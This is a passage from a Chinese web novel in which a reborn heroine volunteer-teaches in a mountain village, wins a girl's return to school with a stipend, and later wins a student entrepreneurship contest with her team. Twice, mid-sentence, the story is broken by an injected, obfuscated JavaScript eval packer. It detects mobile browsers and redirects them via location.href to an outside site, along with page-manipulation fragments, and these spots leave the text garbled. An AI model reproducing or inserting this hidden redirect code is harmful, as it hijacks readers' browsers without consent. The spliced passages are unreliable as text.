“不好意思林老师,”楚卿急忙将这把椅子拉到墙角,拉过另一把椅子,“那椅子坏了一个脚,我忘了修。” “没关系楚卿,”林舒宽慰道,“老师不累。” 楚卿摆好椅子,又去倒了两杯水:“魏校长,林老师,喝水。” “谢谢。”两人接过水,魏纪歆问:“楚卿,怎么这两天没来上学呀?” “我……”楚卿垂手站在她们面前,头低得很深。 “魏校长,是你来啦。”一个女人的声音从楼上传来。 头顶的楼梯发出咚咚的响声,下楼的人步子很缓,但是踩在楼梯上发出很大的声音。 林舒站起来,先是看到一个挺起来的肚子,接着是看到肚子的主人,也是声音的主人,她应该就是楚卿的妈妈了。林舒张了张嘴,刚想说话,就看到她背上还背着东西。 她一步步往下走,背上的东西逐渐露出全貌。是一个竹筐,竹筐里有什么东西在动——“哇”一声,是婴儿的哭声,哪里有婴儿? 待她走到林舒面前,林舒才看清,哭声从竹筐中传出,一个小婴儿被放在竹筐里。 她肚子很大,看起来已有七八个月,但竹筐中的婴儿还很小,这是刚生不久就又怀上吗? 她皮肤黝黑,但是细看能看出年纪不大,大概是二十七八岁的样子。 魏纪歆咽下原计划要说的话,决定先问问大人的情况:“你又怀了?” 楚卿妈妈说:“生完大娃后,好多年都要不到娃娃。魏校长你也知道,我看过好多医生,什么方式都试过了……诶,还真让我找到了这个方子,怀上了娃娃。” 她说着,从桌上拿起一张被叠成四方块的黄纸,拆开里面是白色的粉末,“这粉冲水喝,我就怀了二娃。” 她的眼睛中有亮光跳跃了一下,接着又暗了下去:“可惜是个女娃。我家男人说,得生个男娃娃。” 21世纪了,竟还有重男轻女到这程度的人?林舒怒从心中来,上前一步准备开口。 一只手从侧边伸来拍了拍她的手臂,林舒微微一怔,听到魏纪歆问:“那如果这个不是呢?” 明明屋里只有她们几个人,但楚卿妈妈却谨慎地看看四周,压低声说:“魏校长,村里头的大夫说,我鼻头好圆,这准是男娃娃。” 魏纪歆强压心中情绪,记起今日来的目的:“所以,楚卿要留在家里照顾妹妹,直到弟弟出生吗?” 楚卿妈妈脸上没什么表情:“魏校长,楚卿以后不去上学了。” “什么?”魏纪歆一不留神没拦住,林舒脱口而出,“她现在才11岁,什么叫以后不去上学了?” 楚卿妈妈转向林舒,“你是……” “林老师。”一直没说话的楚卿开口。 “林老师,”楚卿妈妈说,“我给你算算一笔账,我们家的收入全靠我男人去地里干活,现在有二娃多了张嘴要吃饭,等三娃出生后,读书、讨老婆,哪样不要钱?我们负担不起那么多咯——” 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魏纪歆:“国家规定九年制义务教育,孩子读小学、初中都是不要学费的,怎么都得让孩子读完免费书,你说对吗?” 楚卿妈妈:“娃娃去读书,那家里的活谁来干?她吃的饭从哪来?魏校长,我也没读过几天书,不也这样过来咯。” 林舒气得头发昏:“自古以来,读书都是重要的。山里的女孩想要翻身,就得读书。如果你好好读书,你识得的每一个字、记住的每一个单词,都会成为你脚下的小碎石,日积月累,终有一天会铺成一条走出大山的路。” 角落里传来细小的声音:“林老师,山的那边是什么?” 林舒蹲下,直视楚卿的眼睛,缓缓道:“是海,是高楼,是自由和希望。” 就在这时,大门被用力推开,一个男人怒气冲冲闯进来,抓起门边的扫帚,冲到林舒和魏纪歆身边,一边狂拍她们的脚一边嘴里大叫:“什么狗屁老师又想来我们家抢人?滚!这里不欢迎你们!” 楚卿哭着扯男人的手臂,大喊道:“爸爸,爸爸,别赶她们。” “你懂个屁!你早晚是别人家的,我就不该让你去读书,现在会几个字了就敢冲撞老子了。”说着,他一手推开楚卿,继续把林舒和魏纪歆往外赶。 林舒看到楚卿被男人推倒在地,想回去扶她,却被男人用蛮力推出屋外,砰一声木门在鼻头前关上。 她一下子扑到门上,用力拍门:“开门!开门!” 楚卿的哭声传出,林舒心里更急了,加大手上的力度:“你敢打她?我报警抓你!” 门突然被打开,露出一张凶神恶煞的脸:“就凭你?我打她天经地义,天王老子来了都管不了!” 他的速度极快,突然开门丢下一句话又迅速关上门,等林舒反应过来,门再次被关上,楚卿的哭声也渐渐弱了下去。 林舒把耳朵贴在门上听了好一会儿,听到男人骂骂咧咧地上楼去,接着听到柴火燃烧发出的嘎吱声。 突然,门被打开一条缝,露出楚卿妈妈的小半张脸。 “林老师,”她的声音很小很小,担心惊扰到楼上发怒的狮子,“山的那边,真的有这么多东西吗?” 18. 第四世(十五) 2024年9月10日,电视剧《山花烂漫时》开播,是根据“七一勋章”获得者张桂梅事迹改编,讲述张桂梅老师克服重重困难创办免费女子高中的故事。 林舒对张桂梅老师在人民大会堂外,接受采访时说的话印象特别深刻。她说:“我毕生唯一的梦想,就是创建一所全免费的女子高中,让这些出生贫困的女孩能有书读、有学上。因为我深刻地体会到,一个受过教育的女性,可以让自己不再成为依附他人的藤蔓,可以选择自己想过的人生;一个受过教育的女性,可以阻断贫困代际传递,改变三代人的命运。” 通过读书,她们可以走出大山,去看外面的世界,知道除了在花样年华里嫁人生孩子或者外出打工,生活还可以有好多面,她们可以选择自己喜欢的方式活着。 她们可以不用考虑哭泣的母亲,酗酒的父亲,年幼的弟弟,做不完的家务活,被念叨的彩礼。她们只需要考虑自己,为自己而活。 此时一双圆溜溜的眼睛透露出对未知的探索欲,楚卿妈妈看着她,小声问:“林老师,山的那边,真的有这么多东西吗?” 林舒压低声,认真回答:“山的那边,不只有海和高楼,女孩不只有妻子和母亲两个身份……” 她话音未落,身后突然有一道力攥紧她的手腕用力往外拉。她毫无防备,被拉得后退两步,啪一声,一个酒瓶落在她刚刚站的地方。 如果不是魏纪歆拉了她一把,她的脑袋应该已经开花见血了。 紧接着,楼上传来杀气腾腾的声音:“还不走?再不走我砸死你!” 楚卿妈妈受到惊吓,声音颤抖:“林老师,你快走吧,他说到做到。” 说完,她迅速把门关上。 “林舒,我们走。”魏纪歆还拉着她的手。 “可是……”林舒迟疑。 魏纪歆不容分说拽着她走出巷子,拐了个弯来到山坡前,才松开手。 “林舒,”她有点生气,“你知不知道你刚才很危险?” 林舒为她刚才没有一起劝说而感到不满,此时气势也不弱:“楚卿是想读书的,你是知道的,刚刚为什么不跟我一起劝他们呢?” 魏纪歆:“你想要怎么劝呢?我们已经被赶出来了,赖在人家门口不走,任凭酒瓶砸下来也不躲,是吗?” 林舒:“我要给他们讲道理。他们不知道大山外的世界是怎样的,不知道女孩子还有其他路可以走,我要让他们知道知识能够改变命运,他们不必永远面对这连绵不绝的山,生活还有另外的可能。” 魏纪歆:“你给他们讲道理,他们听吗?” 不听。 楚卿妈妈笑着说她也是这么过来的,她觉得女儿重复自己的命运是很正常的一件事;楚卿爸爸认为女孩子迟早是别人家的,无需花钱培养。 楚卿不属于她自己,她的青春、自由、身体和子宫都被自己的家庭和未来夫家榨干。她眼中的小火苗越来越暗,最终完全消失,接受自己的命运,与脚下的黄土地连在一起。 那晚抱紧受伤的张绵绵的无力感再次袭来,林舒垂下头,无声地掉下眼泪。 重生又如何?27岁的林舒也不知该如何与之对抗,以何对抗。 魏纪歆看到林舒哭了,很是心疼,伸手揽住她,让她靠在自己肩上,声音也变得轻柔:“每年寒暑期都会有你们这种大学生来到,带着蓬勃的朝气,想帮助每个有困难的孩子,但最后都是失望而归。我见过太多了。我刚来这里的时候也跟你们一样,一身正气,质疑家长凭什么不给孩子读书,凭什么把资源倾斜给男孩,放弃女孩。” “林舒,很残忍的现实是,这就是大山的现状,每家每户都有自己的难处。你看,楚卿妈妈未必不想让楚卿读书,只是她怀着三娃,二娃那么小,丈夫又去地里干活,家里没个人帮她,她也要为其他孩子做打算。” 林舒眨了眨眼睛,一滴泪顺着睫毛落下:“魏校长,你也认为楚卿不该继续读书吗?” 魏纪歆叹了口气,没有答话,而是说:“天快黑了,我们回学校吧。” 两人一路无言。 回到学校后,魏纪歆没有跟大伙吃饭,走回宿舍。 林舒坐下吃饭,许家杭问:“你们今天是去楚卿家里了吗?怎么感觉你们脸色都不太好。” 林舒把刚刚发生的事情讲了一遍。大家都没有说话,咀嚼声在此时显得特别清晰。 最后是莫老师打破沉默:“林舒,你这么对魏校长说话,她会很伤心的。” 林舒刚好被红薯噎到,坐在旁边的陈彦森把水杯递给她,她喝了一口水把红薯顺下去,看着莫老师,一时没能理解她的意思。 莫老师接着说:“魏校长在学校十二年了,是我们这群人当中待得最久的。这十二年间,老师们熬不住,来了又走,只有她默默坚持着。她为这所学校、为了能让更多孩子接受到好的教育,付出的努力超乎你想象。像楚卿这样的不是第一例,也不会是最后一例,我们都很痛心,但又有什么办法呢?” 她叹了一口气:“魏校长不是认为楚卿不应该继续读书,她正是希望她能继续读书才会去她家,也正是希望能让更多孩子接受教育才将十二年青春耗在这。只是我们对抗的是根深蒂固的父权社会观念,他们世世代代生活在这大山里头,一代又一代都是这么过来的。我们现在突然跑去跟他们说,你们的观念是不对的,我要带你女儿走,我要让她读书走出大山,换做是你,你会怎么想呢?” 女孩去读书,家里的活少一个人干;女孩读书走出大山,家里收不到彩礼,没钱养地,没钱给弟弟读书和娶老婆。 林舒看得出楚卿家里没条件继续让她读下去,也清楚知道大山女孩的命运,但她偏偏不计后果横冲直撞,是因为她知道有人成功让更多大山女孩走出去,知道大山女孩走出去的重要性。 作为从2024年回来的人,她认为自己必须得做成功什么。 但现在莫老师这么一说,点醒了她。 明明魏纪歆才是那个遭受过无数冷眼,依然坚定自己初心的伟大的人。 而她,除了空有满腔不忿,还有什么呢? 饭后,林舒情绪低落,看到陈彦森在一旁烧水,搬了小椅子坐他旁边。 陈彦森瞄了她一眼,见她托腮静静看着水壶,柴火跳跃的影子在她脸上忽明忽暗的,使她看起来情绪有些复杂。 他不说话,也看着面前的水壶。 木柴燃烧发出啪嗒声,树上的蝉不知疲惫地叫唤着,没有上楼休息的老师们在聊天,这些声音在自然界中犹如一滴水汇入海中了无踪迹。 夜空很宽广,夏夜很宁静,人很渺小。 水壶发出呜呜的声音,林舒突然开口:“水开了。” 陈彦森说:“你今晚可以洗热水澡了。” 林舒惊讶地直起身:“你是特意烧水给我洗澡的?” 她没想到,前天洗澡时随口说一句冷,他真的往心里去了。 陈彦森挑眉:“我什么时候骗过你?” 是的,从她第二次重生到现在,他就一直在帮她,所以她潜意识里很信任他,依赖他。 所以她问:“你觉得我应该怎么做?” 没头没尾的一句话,她就这么随口问出来,赌对方一定听得懂她在说什么。 陈彦森确实听懂了,握住她的手腕起身:“走,去找魏校长。” 林舒急急抽手:“现在?” 陈彦森已经起身站在她面前,不说话,就这么看着她。 她被看得有些心虚,支吾道:“可我不知道该说些什么好。” 陈彦森:“你们目前的心结是楚卿,把她的问题解决就好了。而让楚卿重返学校的关键在于她爸爸。” 楚卿妈妈在最后一刻动摇了,她知道读书可以让孩子走出大山,拥抱更广阔的天地,可以不必重复她的人生。 那现在的问题是,如何过楚卿爸爸那关? 林舒想起他凶狠的嘴脸,不禁头皮发麻。 “你读过《菜人哀》吗?”陈彦森问。 林舒点了点头。大/饥荒时期将自己明码标价卖到市场的百姓被称为菜人。这首诗写的是一个妇人到市场上去做菜人,换得的钱可以让丈夫活下来回家。 “夫妇年饥同饿死,不如妾向菜人市。得钱三千资夫归,一脔可以行一里。” 饥荒时期,最先被吃掉的就是妇女和儿童。 陈彦森:“如果楚卿不想被‘吃掉’,她就要展现出自己留下来的价值。这样说很残忍,但她要面对的生活就是残忍的。” 林舒先是一怔,紧接着用力拍了拍陈彦森的肩膀:“谢谢你,回去请你吃饭!” 说完,她转身便朝宿舍楼跑去。 陈彦森看着她离去的身影,呆呆的,像一座雕塑,春来秋去,似乎就这么保持着这个姿势,眼睛里只有那个女孩。 林舒匆匆跑上楼,来到魏纪歆门前,轻轻敲了敲门:“魏校长?” “林舒?”房内的声音听起来有些惊讶,“门没锁,进来吧。” 林舒推开虚掩着的门,与坐在书桌前的魏纪歆打了个照面。 “魏校长。”她是跑过来的,说话有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779292|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喘。 “找我是有什么事吗?” “我知道怎样可以让楚卿回来读书了。”林舒开门见山,“我们告诉她爸爸,只要让她继续读书,我每个月会资助她300元。如果她能考上高中,我每个月资助她500元。” 刚刚陈彦森的话让林舒反应过来,“站在对方的逻辑里说服对方”在工作中是很常见的方法。楚卿爸爸在意的是楚卿能不能给他赚钱,所以她不该跟他说楚卿读书可以走出大山收获不同人生,而应该告诉他,楚卿读书不仅不花钱,而且还能赚钱。 她每个月有1500元生活费,拿出300元资助她并不会影响自己的生活。 她继续说:“吉祥村小学由公益基金会负责,我只需要跟志愿者谢瑞对好需求,将每个月的资助费用打给基金会,基金会会给楚卿的。” 魏纪歆放下笔:“你自己都还是个学生,怎能每个月拿这么多钱出来呢?好几百呢。” 林舒:“这300元对我来说就是少出去吃两顿饭,但是对楚卿来说,这很可能改变了她的人生。” 魏纪歆没有接话,而是拿起桌上翻开的笔记本递给她:“你看看这个。” 林舒接过,翻开的那一页写着: 张娜兰,女,汉族,10岁,因旱地颗粒无收失去生活来源,辍学; 阿竹黎,女,彝族,12岁,因大雨冲垮房子随哥哥外出打工,辍学; 李默言,男,汉族,12岁,因父母双亡随村里人外出谋生,辍学。 林舒一页一页翻下去,巴掌大的记事本里写满了密密麻麻的字,每个人的际遇被寥寥几字概括,却道尽了生命不可承受之重。 “我来这里十二年了,勤勤恳恳教书,平等对待每个孩子,定期做家访,劝每个辍学的孩子。我希望能帮到他们,但事实证明我的能力实在太渺小,实在太渺小了。”魏纪歆的声音很轻,像从很远的地方飘来。 林舒放下笔记本,握住她的手:“魏校长,我们能帮一个是一个,小小的火柴也能堆积成火堆,照亮每个靠近的人。” 这些年来,魏纪歆一直记着自己的初心,坚定守着这座学校,十年如一日。但她也只是一个普通人,会在日复一日的山色里渐渐感到疲惫,会对无法劝回的孩子感到无力且无奈。 此时她看着面前的女孩。她好些天没休息好了,脸上挂着两个青色的眼袋,但她的神情却是雀跃的,双眼在昏暗的屋内比灯光还亮,嘴巴一张一合,似乎在说一件非常了不得的事情。 她确实是在说一件非常了不起的事情。 第二天,魏纪歆带着林舒、陈彦森和谢瑞一同去到楚卿家。果然不出林舒所料,楚卿爸爸听到有钱拿之后眼睛都亮了,痛快答应让她继续去上学。林舒高高兴兴地领楚卿回学校,四个大人一个小孩心情愉悦地走在山间,笑声都被每一块石块记得。 支教工作继续进行。 一个月后,林舒和陈彦森带张绵绵去市医院放晶片。陈彦森目前已在公益基金会里做了登记,全权负责张绵绵治疗眼睛的所有费用,因此这次的费用依旧是他付。 这次带张绵绵从医院回来,也是林舒等人支教工作结束,返回南苑的日子。 他们没有搞欢送会,没有一一前去道别,而是选在放学后静静离开。这里经历了太多别离,静静离开是最好的告别方式。 正当他们快走到校门口时,身后突然传来一个声音。 “老师!” 声音很响亮,像一支利箭穿破不远处在落下的太阳。 紧接着,越来越多声音加入:“老师,老师,老师……” 林舒一行人回过头,看到教学楼的走廊上站满了学生,每个人脸上都带着笑,努力朝他们挥手。 魏纪歆站在人群中,她没有像孩子们那样外放情绪,微微抿着唇,尽力扯出一个笑脸。 不知是谁起了个头,是一个干净空灵的声音:“长亭外——” 像是收到指令,大家很有默契地接上:“古道边,芳草碧连天。晚风拂柳笛声残,夕阳山外山……” 歌声继续,林舒双眼已是噙满泪水,她努力想要记住每一张脸。 也许从这座学校里会走出很多闪闪发光的孩子,但也会有不少孩子成为你我身边普通的同学、同事,终其一生也只是过我们眼中最寻常的、甚至普通得不值一提的生活。但你不知道他们是经历了怎样严苛的作息,克服了多少阻碍,吃了多少苦才走到这里,得到这个与我们并肩而行的机会。他们拼尽全力,也只是搏得我们的起点。 能走到这,也是超棒的呢。 19. 第四世(十六) 支教结束意味着暑期结束,林舒迎来大二生活。 有着27岁的心境,林舒觉得日子过得特别快,尤其是日子过得特别充实的情况下。 具体是有多充实呢? 比如,她跟陈彦森一起留任做社实部副部长,策划“上门清洗饮水机”活动; 再比如,她此刻提着水桶,水桶里装着一块抹布和一沓清洗剂,从二楼第一间宿舍洗到最后一间,从二楼洗到五楼,又从这栋宿舍楼洗到那栋宿舍楼,忙得不亦说乎,根本没察觉到口袋里的手机屏幕亮起了三次。 而在另一边的操场上,陈彦森的手机第三次传出忙音。他挂了电话,刚好有一个电话打进来。 他刚接通,刘沐鑫就先说话了:“林舒在我们宿舍楼下。” 陈彦森疑惑:“她在我们宿舍楼下干嘛?” 刘沐鑫:“吵架。她在跟我们的宿管阿姨吵架。” “……”陈彦森说:“我马上过来。” 现在是晚上七点,是他约林舒夜跑的时间,但林舒迟迟没出现,又不接他电话,人出现在他们宿舍楼下,这是怎么回事? 菊16离操场不远,陈彦森很快赶到,还没踏进宿舍大门,就听见林舒的声音:“我有保卫处的批条,凭什么不让我上楼?” 陈彦森走快两步,看到林舒一手挽着水桶一手拿着批条,站在宿管阿姨桌前激动地比划着。 刘沐鑫站在一旁,看到陈彦森来到,赶紧上前低声说:“她在这里跟阿姨争执了十分钟了,阿姨就是不让她上楼。” 陈彦森也压低声:“她上楼做什么?” 刘沐鑫还未回答,林舒的大嗓门就解答了他的疑问:“阿姨,我们社团组织了这次的洗饮水机活动,这是保卫处批条。你看,上面写着我可以上菊16洗饮水机。” 宿管阿姨说:“同学,学校规定女生不能上男生宿舍,男生不能上女生宿舍,这有批条也不能违反规定呀。” 林舒急了:“我是上去洗饮水机啊,又不是去干坏事!” 她左右一瞧,见陈彦森站在身侧,一把将他拉过来:“他是这次活动的策划者之一,也是住这栋楼的,不信你问他。” 陈彦森没有为她作证,而是问她:“我们洗饮水机不是到五点半结束的吗?你怎么现在还在洗?吃饭了吗?” 林舒本意是想让他来帮忙的,没想到他不仅没帮忙,还一连串抛出几个问题。但现在需要他帮忙,她只能先回答他:“反正闲着也是闲着,这水桶和抹布都带着了,就想多洗一栋楼呗。” 陈彦森接过她手上的水桶:“我来洗,你去吃饭。” 林舒手中一空:“啊?” 陈彦森捏着林舒的肩膀微微发力,将她带到门口:“快去吃饭吧。” 说完,他立即转过身蹬蹬蹬跑上楼,不给她拒绝的机会。 清洗工具没了,林舒只好作罢,去饭堂吃了饭,就坐在菊16大门等他。 三小时后,她终于看到满头大汗的陈彦森。 林舒没好气地说:“你是在跟我争功德吗?” “对,我争取下辈子投胎做非洲大象。”陈彦森甩了甩水桶,“不想被我踩扁,就想想怎么贿赂我。” 去支教之前,陈彦森问她一定要去吗,她当时随口说了句要积德,免得下辈子做行军蚁被路过的大象一脚踩死。 没想到这小子居然记到现在。 林舒抑制住自己要掐人的冲动,笑得很甜:“洗一栋楼这么辛苦,可得好好吃饭补补呢。” 心里却说:抢我功德还想我请你吃饭?小心我在你的饭菜里加老鼠药! 陈彦森看穿她内心蛐蛐的小心思,轻声一笑,指着她手中的宣传单,转移话题道:“这是什么?” “竞赛宣传单。”林舒递给他。 “中国大学生创新创业计划竞赛。”陈彦森问,“你有兴趣?” 林舒点头。说不定参加竞赛可以将某项技术提前带到市面上惠及世人,这么好的积德机会她可不能错过。 陈彦森问:“那你有什么想法吗?” “你什么意思?”林舒瞪他,“觉得我想不出好点子吗?” 陈彦森连忙否认三连:“我不是,我没有,别瞎说啊。” “你等着吧。”林舒临走前撂下狠话,“温馨提示,我建议你明天坐着听我说,免得我的点子好到吓得你站不稳,摔倒我可不负责。” 小看我?她轻哼一声,我可是从2024年回来的人,随便找个未来科技都赢了。 可她忽略了现在是2017年,不是2007年。 在2017年,淘宝、京东、支付宝都已经发展得很成熟了,她无法发挥先知优势将它们应用于竞赛中。而第一世她一直在广告行业里,学的又是文科,重生两次都在琢磨怎么保命,第三次重生则顾着捡垃圾和洗饮水机,实在想不到什么好点子。 因此,当第二天夜跑时陈彦森特意找了个台阶坐下,饶有兴致地说“我坐稳了,请这位同学讲解她惊艳四座的想法”时,她想找个洞钻进去。 但她开口却是十分理直气壮:“我没想到。” 陈彦森的表情耐人寻味:“哦?” “哦什么哦,”林舒气势很足,“那你倒是说说你有什么想法?” 陈彦森拍拍大腿站起身:“我当然有备而来的——” “别卖关子,快说。”林舒催促。 陈彦森正色道:“我的想法是做智能仓储主题。虽然这个概念很早就提出,但是目前的技术并没有渗透到各领域中。” 见林舒没有接话,他继续说:“用官方话说是互联网与物流业结合,实现物流产业智能化,节约人力成本,提高准确率等;用大白话说就是,过去是人工管理仓库,现在则是通过系统算法和机器操作实现自动化货物存储、分类、拣选、装卸等操作,客户也能自助查询了解和管理货物的存储和运输情况。” 他解释得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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熟人组队的好处是了解对方的专业和优势:李洛诗善于搜索资料、写文案,而且她极为细心,能为大家的方案保驾护航;许家杭是财务专业,主要负责计划书部分;陈彦森和刘沐鑫是计算机专业,楚洛西是电气自动化专业,三人主要负责项目内容如概念想法、推进落地等,而楚洛西作为大三师兄不仅能在专业上提出自己的想法和见解,还能请来大家疯抢的老师来做他们的指导老师。 那林舒做什么呢? 文案?这个不必说了。作为一个广告人,文案是基本功; PPT?她太会做了。她第一世工作总是要提案,做过无数份PPT,做到后面她已经不用现成的模板,而是自己用PPT自带的工具栏制作,比找合适的模板更快更合适; 做图和剪辑视频?没错,她也会。公司减员增效,一个设计师不止负责一个项目,客户要得又急,有时候她就只能自己上手做,也就摸索着学会PS和PR软件。 总的来说,她是一块砖,哪里需要往哪搬。 在六人齐心协力下,他们确定指导老师,确认选题,准备比赛所需的材料如PPT计划书、项目介绍视频、答辩稿等。 他们顺利通过校级初赛和省级复赛,入围全国总决赛,挺进决赛。 20. 第四世(十七) 8月14日,海莲市。 为了准备这次决赛,他们在海莲市租了两个房子,闭关一个月。现在距离决赛还有三天,他们聚在一起继续打磨方案。 电视机本来在播综艺,突然突兀地响起“嘟嘟嘟嘟嘟嘟”的新闻片头声音,接着是一个标准的女声播音腔: “下面插播一条特别新闻报道。根据天文台预测,台风‘雄鹰’将于北京时间8月18日凌晨2时20分登陆海莲市。受台风影响,8月17日18时起,海莲市高铁、列车全线停运。” 李洛诗瞪大眼睛:“那我们的航班会取消吗?” 林舒:“我们是17日下午四点起飞,应该不受影响吧。” 李洛诗双手合十:“天啊,如果航班取消,我们就被困在海莲了。” 刘沐鑫迅速翻查了新闻:“这次台风威力非常强大,预计登陆强度是13-14级,最大风力可达16级。” 他这话一出,大家都没有接话。 过了好一会儿,楚洛西打破沉寂:“你们考虑放弃这次决赛机会吗?” 他在这里年纪最大,是所有人的大哥哥,在这个关头,他很自然地化身为一只老公鸡,揽过保护好这群小崽子的担子。 在大家还在心里衡量两者利弊的时候,林舒已经张嘴了:“我是这次的组织者,我留下代表我们队伍,你们回去吧。” 担心大家不同意,她赶紧又加上一句:“PPT是我排版的,视频是我做的,我对材料很熟悉,我可以的。” 楚洛西:?我是想保障你们安全,让你们弃权来着,不是自荐一位勇士留下。他刚想说话,陈彦森却比他先开口。 陈彦森说:“要说最适合留下的人,那肯定是我。我家在这有一套房子,家人经常会来这里度假,所以屋子里有充足的粮食和水,即使不幸被困在这,我待在室内都是安全的。” 许家杭:“不行,去年支教的时候你们已经冲过前锋了,这次就让我也做点事吧。” 李洛诗和刘沐鑫两人默默举手:“我们也想留下。” “停,等一下,”楚洛西眼见势头不对,好不容易找到机会喊停,“你们都想留下?” 李洛诗:“这是我们一起努力好几个月的心血,当然想要看到它在总决赛中被展示的样子。而且,我们当时也说好了,要一起站上领奖台的。” 五双眼睛齐齐看向楚洛西,闪烁着期盼的光芒。 楚洛西在心里盘算着,如果台风“雄鹰”真的发展成超强台风,大赛举办方应该会延期或者改为线上进行;如果决赛按原定计划进行,证明举办方衡量过不会受台风影响,那他们只要准点坐上飞机就能顺利离开。 陈彦森知道楚洛西在顾虑什么,又说:“如果真的被困在这,大家可以去我家,待个一周左右是没问题的。” 陈彦森都这么说了,楚洛西也没有再拒绝的理由,便说:“这几天你们有时间就先收拾行李,我们到时带行李去现场,一结束就马上去机场。” “好!”众人欢呼。 …… 8月17日上午,决赛当日。 他们拖着行李箱离开住处,打车前往会场。 一路上,林舒留意到超市门口排起队,人们都提着满得快溢出的大袋子;咖啡店的一排玻璃门被架上一条条长木棍,旁边的便利店门口也用胶布贴着大大的“米”字;路边的树木只剩下光秃秃的树干,许是连夜砍掉容易脱落伤人的树枝。 面对明天登陆的台风“雄鹰”,全市严阵以待。 林舒对这个台风有印象。当年“雄鹰”登陆前就被预测为16级的超强台风,海莲市民一边做防台措施一边许愿台风在海上多溜达几圈削弱风力再过来,没曾想“雄鹰”登陆前壁眼置换成功升级为17级以上,成为近十年影响海莲市的最强台风。 这次台风过后,造成几百万人受灾,直接经济损失几百亿。 决赛场地就在机场附近,十二点结束后立刻赶去,一定能赶上飞机。 她心里计算着时间,跟着大家下了车,快步走进报告厅。 一进门,林舒眼前黑了一下,差点以为自己误入了证券公司——男生穿西装配领带,女生穿白衬衫黑裙子,着装出奇得统一。 不太合身的正装一看就是临时在学校门口专门卖正装的服装店买来救急用的,穿在他们身上虽然有点“装大人”的感觉,但出奇得好看。 也是,年轻有朝气的面庞,还未被社会打磨的纯净气质,未发福的身材,具备这三样东西的人穿什么都好看。 年轻真好。 林舒挨着陈彦森坐下。 今天决赛共有十支队伍参赛,分为公益组,创意组和创业组。他们是本科创业组,第三个出场,由陈彦森主讲,林舒操作幻灯片。两人趁着这个空档最后再对一遍稿子。 九点一到,报告厅内灯光一灭,主持人上台讲了一段开场白,接着第一支队伍上台。 第一支队伍的主题是互联网医疗,包括建立卫生信息平台,实现医疗机构间信息互联互通,共享患者电子病历,远程视频门诊实现足不出户也能看医生等;第二支队伍的主题是仿生机器人,可代替人类应用于安全救援场景,他们的仿生机器人的电路板都是自己设计,引得观众连连鼓掌称赞。 林舒和陈彦森站在等候区,跟台下人一起鼓掌。 林舒看了陈彦森一眼,见他神情严肃,整个人站得笔直,连鼓掌时手臂都是绷紧的,便压低声问:“你很紧张吗?” 陈彦森一顿:“肯定会有点,你呢?” “我不紧张啊。”林舒回答。 她所言非虚,一是多年工作经验让她十分习惯这种场面,二是她并不在意比赛名次,觉得积德更看重过程而非结果。 她又说:“我们进决赛已经很棒了,你别崩那么紧。来,笑一个。” 她踮起脚尖,手指弯成半月型落在他两侧嘴角,轻轻往上一推。在外力作用下,他的嘴角弯起好看的弧度。 “这样好看多了。”林舒很满意,“你还是要多笑笑,现在脸瘫男孩不吃香。” 陈彦森保持着嘴角上扬,说话有点别扭,但还是说道:“你知道我为什么紧张吗?” “因为你想拿第一,以后写进简历里?” “不是,”陈彦森摇头,“大学选这个专业,比赛选这个主题,是因为我想毕业后创业做智能仓储。” “你还没上大学就想好以后想做什么?”林舒惊讶。 他们这一代的高考毕业生,填志愿时大多分为几种情况:一是家里人根据自己的人脉或职业帮忙选择相关专业,毕业后可以相对轻松找到工作;二是盲选,看哪个专业热门,听起来好就业就填哪个;三是根据自己兴趣爱好选择,也就是林舒这个情况。 像陈彦森这种在填志愿时就开始规划自己未来职业方向,有想法有见解的,并不多见。 不知道在她的第一世里,在她不知道的地方,陈彦森是否得偿所愿,参加比赛拿到金奖,顺利创业呢? 他们在等候区静静站着,他就站在她的身侧,她 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这次重生后她做了许多第一世没做过的决定,所以她并没有上帝视角,不知道他们是否真的能赢。但她脚踏实做好每一件事,对整个方案了解透彻,因此在上台后极好地配合了陈彦森的演讲,并在评委问答环节对答如流,表现专业、得体,引得评委们频频点头。 下台回到座位上,李洛诗向林舒竖起大拇指,“舒舒,你太棒了!我觉得我们肯定拿总冠军。” 一颗脑袋从林舒身后冒出,没被夸的那个人幽幽地看着李洛诗。 “你的表现也不错,但我们舒舒是表现最棒的。”李洛诗对陈彦森说完,伸手揽住林舒,“我感觉你真的很适合创业。” “我?”林舒用食指指着自己,头向前倾,双眼瞪圆,脸上露出惊讶的表情。 李洛诗:“对啊,你做事认真,思维逻辑好,又能说会道,面对大场面也不怯场,这妥妥的创业苗子啊。” “不了不了。”林舒连连摆手,“摆烂打工才是我的座右铭。” 身后的陈彦森张了张嘴,最终还是没有出声,坐下听下一支队伍演讲。 十支队伍按顺序讲完,主持人上台宣读比赛结果。 “铜奖,北辰大学,研究生创意组,向荣生物——阿尔茨海默病的‘延缓者’。” 在一片掌声中,林舒屏气凝神,听着他继续往下念。 “银奖,科技大学,研究生创意组,安全科技——危险救援的仿生机器人技术拓新者。” 主持人继续说:“金奖……” 全场屏住呼吸,气氛紧张。 “金奖,南苑大学,本科生创业组,领袖之材——工业4.0时代,智能仓储创领者。” 林舒从小到大参加过各种各样的比赛,拿奖拿到手软,从此对获奖祛魅,这是第一次,她听到主持人喊出自己队伍的名字有一种很奇妙的感觉。 一股气息堵在胸脯让她喘不过气来,她有些恍惚,耳边的掌声像细密的雨点砸在铁质雨棚上发出闷闷的声音。不舒畅,一点都不舒畅。 她无助地向身边人求助,而第一个接住她眼神的是他。 “林舒,我们赢了——” 他张嘴说的每一个字从雨中穿来,清晰地传入她的耳朵里。 